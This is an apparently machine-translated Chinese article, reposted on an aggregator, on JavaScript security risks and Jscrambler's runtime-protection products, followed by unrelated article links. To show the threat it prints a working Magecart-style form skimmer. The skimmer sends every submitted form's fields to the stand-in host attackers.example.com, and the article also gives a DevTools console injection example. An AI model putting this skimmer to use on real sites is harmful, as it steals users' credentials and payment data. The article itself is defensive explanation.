编写安全 JavaScript 代码的最佳实践

编写安全 JavaScript 代码的最佳实践

JavaScript 的动态特性使其成为事实上的浏览器语言和世界上最流行的编程语言。

JS 最受欢迎的有用功能之一是即时分析。这意味着浏览器在下载内容的同时执行代码,这显然有其优势。然而,这种程度的自由也伴随着问题。

通过我们的最佳实践和提示了解有关 JavaScript 安全风险的更多信息,并了解如何保护自己免受 JavaScript 风险的安全政策。

浏览器是如何工作的

想象一下浏览器所需的所有步骤。首先,我们需要下载页面并开始解析。浏览器不会等待所有内容下载完毕。我们可以同时下载和解析页面。

JavaScript 会阻塞渲染,这在运行时有很大的优势。这意味着浏览器停止解析,首先执行 JavaScript,然后继续,这提供了使用这种编程语言的灵活性,并使代码具有多种可能性。

JavaScript 的风险

1. 调试与操作

OWASP 的应用程序安全指南强调了逆向工程和应用程序源代码操纵所带来的威胁,特别是对于处理敏感数据或执行关键操作的应用程序。

基于 JavaScript 的应用程序就是这种情况,其中这些风险可以通过各种攻击的形式被利用,例如: B. 知识产权盗窃、自动滥用、黑客攻击和数据泄露。

由于 NIST 和 ISO 27001 等法规和标准也提到了未受保护的源代码的风险,因此他们建议组织实施严格的控制程序,以防止其遭受可能的攻击的后果。

为了说明这些风险,请考虑以下代码片段:

<div id="hack-target"></div>
<button>Set Value</button><script>document.querySelector('button').addEventListener('click', setValue);function setValue() {var value = '2';document.getElementById('hack-target').innerText = value;}
</script>

这在 HTML 中声明了一个目标。当点击按钮时,会触发回调。

使用客户端 JavaScript,我们可以在设置值的位置设置断点。当事件被触发时,恰好到达该断点。

var value = '2’指定的值;可以随意改变。调试器停止执行并允许人们修改页面。此功能在调试期间非常有用。

当调试器停止执行时,它具有“中断执行”的能力。甚至页面渲染。

调试是浏览器工具的一部分,因此每个人都可以访问它。

在这里插入图片描述
我们知道这个功能对于调试 JavaScript 非常有用,但是它会对 JavaScript 代码的安全性产生什么影响呢?

正如任何人都可以将调试工具用于合法目的一样,攻击者也可以使用此功能在运行时修改 JavaScript。攻击者可以命中断点、修改 DOM 并将任意 JavaScript 注入控制台。

此类攻击可用于利用客户端漏洞。攻击者可以修改数据、劫持会话并对页面的 JavaScript 进行任意更改,从而损害原始代码的安全性。

攻击者可以直接修改代码、动态改变内存内容、修改或替换应用程序使用的系统API,甚至修改数据和应用程序资源。这可能为攻击者提供直接机会,破坏软件的预期用途以获取个人或经济利益。

例如,如果 Web 开发人员工具打开,任何人都可以转到“控制台”选项卡并键入:

document.querySelector('button').addEventListener('click', function() {alert('sacked');
});

2. 数据泄露和其他客户端攻击

除了攻击者针对 JavaScript 源代码本身的安全风险外,我们还必须考虑在浏览器中任意执行 JavaScript 的危险。

我们发现网络供应链攻击(例如 Magecart 攻击)不断增加,这些攻击会淹没网络并利用客户端窃取数据。为了正确理解这一点,请看以下示例。

假设我们的 CDN 和 Web 集成站点上的 jQuery 脚本以某种方式受到损害,它将被更改。

```js
! function() {document.querySelectorAll("form").forEach(function(a) {a.addEventListener("submit", function(a) {var b;if (!a.target) return null;b = new FormData(a.target);var d = "";for (var e of b.entries()) d = d + "&" + e[0] + "=" + e[1];return (new Image).src = "https://attackers.example.com/?" + d.substring(1), !0})})
}();

我们可能不会注意到此更改,并且我们的网站将传播恶意软件。

我们可以这样理解其中的逻辑:

对于页面上的每个表单。

添加了提交事件处理程序,因此在触发时会发生此事件。

使用查询字符串格式收集并重写表单数据。

然后将其添加到图像资源的新源 URL。

每次提交表单时,都会将相同的数据发送到远程服务器(ttackers.example.com),请求假定的图像资源。

然后攻击者就成为它的所有者。

结果,即使我们的服务器没有受到任何破坏,我们网站的用户数据也会悄悄地直接落入攻击者手中。这就是为什么网络供应链攻击如今构成如此重大的威胁,GDPR、CCPA 和 HIPAA 等法规对用户数据泄露处以巨额罚款。

如何保护客户端 JavaScript

1. 保护 JavaScript 代码

鉴于 Web 的灵活性和动态特性,保护 JavaScript 代码免受潜在攻击者的最佳选择是添加运行时保护。

该安全层在执行期间保护 JavaScript 代码以防止篡改,为客户端应用程序提供最强的保护。

运行时应用程序自我保护是内置于应用程序或应用程序执行环境中或与应用程序或应用程序执行环境相关联的安全技术,可以监视和检测应用程序执行并防止攻击。实时。

一旦 JavaScript 到达浏览器,它就不再启用。没有什么可以完全保护其执行。运行时保护可防止仅在运行时发生的调试和代码操纵攻击。这包括在应用程序离线时修改应用程序的攻击。

良好的运行时安全解决方案还会混淆 JavaScript 代码,使攻击者无法修改它。自己寻找解决方案或避免它。

所有这些保护层都是为了确保 JavaScript 代码在 Web 上安全运行,尽管开发人员尽了最大努力。篡改它。

当攻击者试图绕过我们的代码时,强大的运行时安全解决方案还会发送通知。这允许应用程序所有者做出响应并采取行动,例如注销用户。

Jscrambler 完整性代码

Jscrambler 代码完整性提供了一种运行时安全解决方案,可保护应用程序免受运行时攻击。它将反调试和防篡改技术与其他自卫功能相结合,为 JavaScript 应用程序提供主动保护。详细地:

反调试检测调试工具(例如 DevTools、Firebug)的使用并阻止调试器以停止逆向工程过程。

这是通过代码陷阱和死对象来实现的,这些陷阱和死对象会阻止调试工具工作并增加调用堆栈,从而阻止用户控制应用程序的控制流。

顾名思义,减少控制流可以使程序流程扁平化,并添加晦涩的谓词和不相关的代码克隆。

任何使代码更易于阅读的自然条件构造都消失了。

该操作会检测代码中的更改并做出相应的反应。例如,如果我们使用 Jscrambler 的自我防御功能在受保护的函数中添加或删除分号,则会检测到此更改,并且代码将停止工作。

应用这两种技术。通过代码混淆,攻击者不可能修改我们的应用程序。

我们可以通过我们的免费试用开始保护我们的应用程序的客户端。

2. 客户端安全

JavaScript 开发过程通常依赖于使用开源组件来加速开发。大多数网站在运行时运行多个第三方脚本(聊天机器人、分析、广告等)。

使用这些来自外部源的代码片段会增加客户端攻击的攻击面。

由于传统的安全系统(服务器端安全、网络安全)不以客户端为目标。为了应对这些日益严重的威胁,公司需要对其网站的客户端进行全面的可见性和控制。

Jscrambler 网页完整性

Jscrambler 网页完整性提供全面的客户端保护,防止客户端攻击,例如 Magecart 网络浏览器和数据泄露。更确切地说:

完整实时观察任何第三方脚本的行为。

这意味着了解是否加载或插入了额外的代码,是否发送了数据,是否从表单、cookie 和本地存储访问了数据,是否更改了 DOM,等等。

所有这些网站脚本及其发出的网络请求的完整清单。

强大的规则引擎,允许灵活、精细地控制每个脚本的行为,并自动阻止不良行为,例如: B. 操纵其他代码,允许网站访问注册表单的“密码”字段、访问 cookie 或本地存储、联系某些域等。

要开始使用 Jscrambler 网页完整性,请为我们的网站申请免费的库存报告。此报告提供了在我们的站点上运行的所有第三方脚本及其行为的摘要,并细分为有用的安全信息。

结论

因为 JavaScript 存在于大多数 Web 上(包括处理极其敏感的用户数据的站点),并且就其本质而言,它是一种 Web 动态语言。该系统设计灵活,但引发了额外的安全问题。

就像任何双刃剑一样,我们需要谨慎对待它。为了保护我们的 JavaScript 代码,我们需要考虑运行时会发生什么,因为攻击者可以针对暴露的源代码并通过第三方脚本注入恶意 JavaScript 代码。

如果我们能够成功解决这两个方面的问题,我们将领先攻击者一步,编写出更安全的代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/227704.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

04_Flutter自定义Slider滑块

04_Flutter自定义Slider滑块 一.Slider控件基本用法 Column(mainAxisAlignment: MainAxisAlignment.start,children: <Widget>[Text("sliderValue: ${_sliderValue.toInt()}"),Slider(value: _sliderValue,min: 0,max: 100,divisions: 10,thumbColor: Colors.…

3种在ArcGIS Pro中制作山体阴影的方法

山体阴影可以更直观的展现地貌特点&#xff0c;表达真实的地形&#xff0c;这里为大家介绍一下在ArcGIS Pro中制作山体阴影的方法&#xff0c;希望能对你有所帮助。 数据来源 本教程所使用的数据是从水经微图中下载的DEM数据&#xff0c;除了DEM数据&#xff0c;常见的GIS数据…

在 Linux 中重命名文件和目录

目录 前言 使用 mv 命令重命名文件和目录 通过组合 mv、find 和 exec 命令重命名与某个模式匹配的多个文件 使用 rename 命令轻松重命名多个文件 总结 前言 在这篇基本命令行教程中&#xff0c;你将学习在 Linux 终端重命名文件和目录的各种方法。 如何在 Linux 终端中重命…

springcloud==openfeign

单独使用 创建一个服务端 import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.Path…

小功能实现(十九)生成shp文件

引入依赖 <!--shp文件相关工具--><dependency><groupId>org.geotools</groupId><artifactId>gt-shapefile</artifactId><version>${geotools.version}</version></dependency><dependency><groupId>org.geo…

C语言进阶指南(12)(数组指针与二维数组)

欢迎来到博主的专栏——C语言进阶指南 博主的id&#xff1a;reverie_ly 数组指针 数组指针的标准声明如下 type &#xff08;*parr&#xff09;[num] type是指针指向的数组的类型&#xff0c;[num]是指针指向的数组的元素大小。 顾名思义&#xff0c;数组指针就是用来指向数组…

Python的换行和转义:深入理解代码排版与字符串处理

更多Python学习内容&#xff1a;ipengtao.com 大家好&#xff0c;我是涛哥&#xff0c;今天为大家分享 Python的换行和转义&#xff1a;深入理解代码排版与字符串处理&#xff0c;全文2700字&#xff0c;阅读大约8分钟。 在Python编程中&#xff0c;正确使用换行和转义字符是保…

MySQL- CRUD

一、INSERT 添加 公式 INSERT INTO table_name [(column [, column...])] VALUES (value [, value...]); 示例&#xff1a; CREATE TABLE goods (id INT ,good_name VARCHAR(10),price DOUBLE ); #添加数据 INSERT INTO goods (id,good_name,price ) VALUES (20,华为手机,…

【带头学C++】----- 八、C++面向对象编程 ---- 8.5 struct结构体类型增强使用说明

目录 8.5 struct结构体类型增强使用说明 8.5.1 C结构体可以定义成员函数 8.5.2 c中定义结构体变量可以不加struct关键字 8.6 bool布尔类型关键字 8.5 struct结构体类型增强使用说明 第六章对结构体的使用、内存对齐以及数组、深拷贝和浅拷贝进行了一个详细的说明&#xff0c…

Redis队列stream,Redis多线程详解

Redis 目前最新版本为 Redis-6.2.6 &#xff0c;会以 CentOS7 下 Redis-6.2.4 版本进行讲解。 下载地址&#xff1a; https://redis.io/download 安装运行 Redis 很简单&#xff0c;在 Linux 下执行上面的 4 条命令即可 &#xff0c;同时前面的 课程已经有完整的视…

方差分析汇总

一文整理了方差分析的全部内容&#xff0c;包括方差分析的定义&#xff08;基本思想、检验统计量的计算、前提条件&#xff09;、方差分析分类&#xff08;单因素、双因素、多因素、事后多重比较、协方差分析、重复测量方差分析&#xff09;、方差分析流程&#xff08;数据格式…

HTTP/3 为什么正迅速崛起

超文本传输协议&#xff08;HTTP&#xff09;作为互联网的基石&#xff0c;一直在网页加载、视频流传输、应用获取数据等方方面面发挥重要作用。 去年&#xff0c;负责定义互联网技术的互联网工程任务组&#xff08;IETF&#xff09;将该协议的最新版本 HTTP/3 定为标准。在此…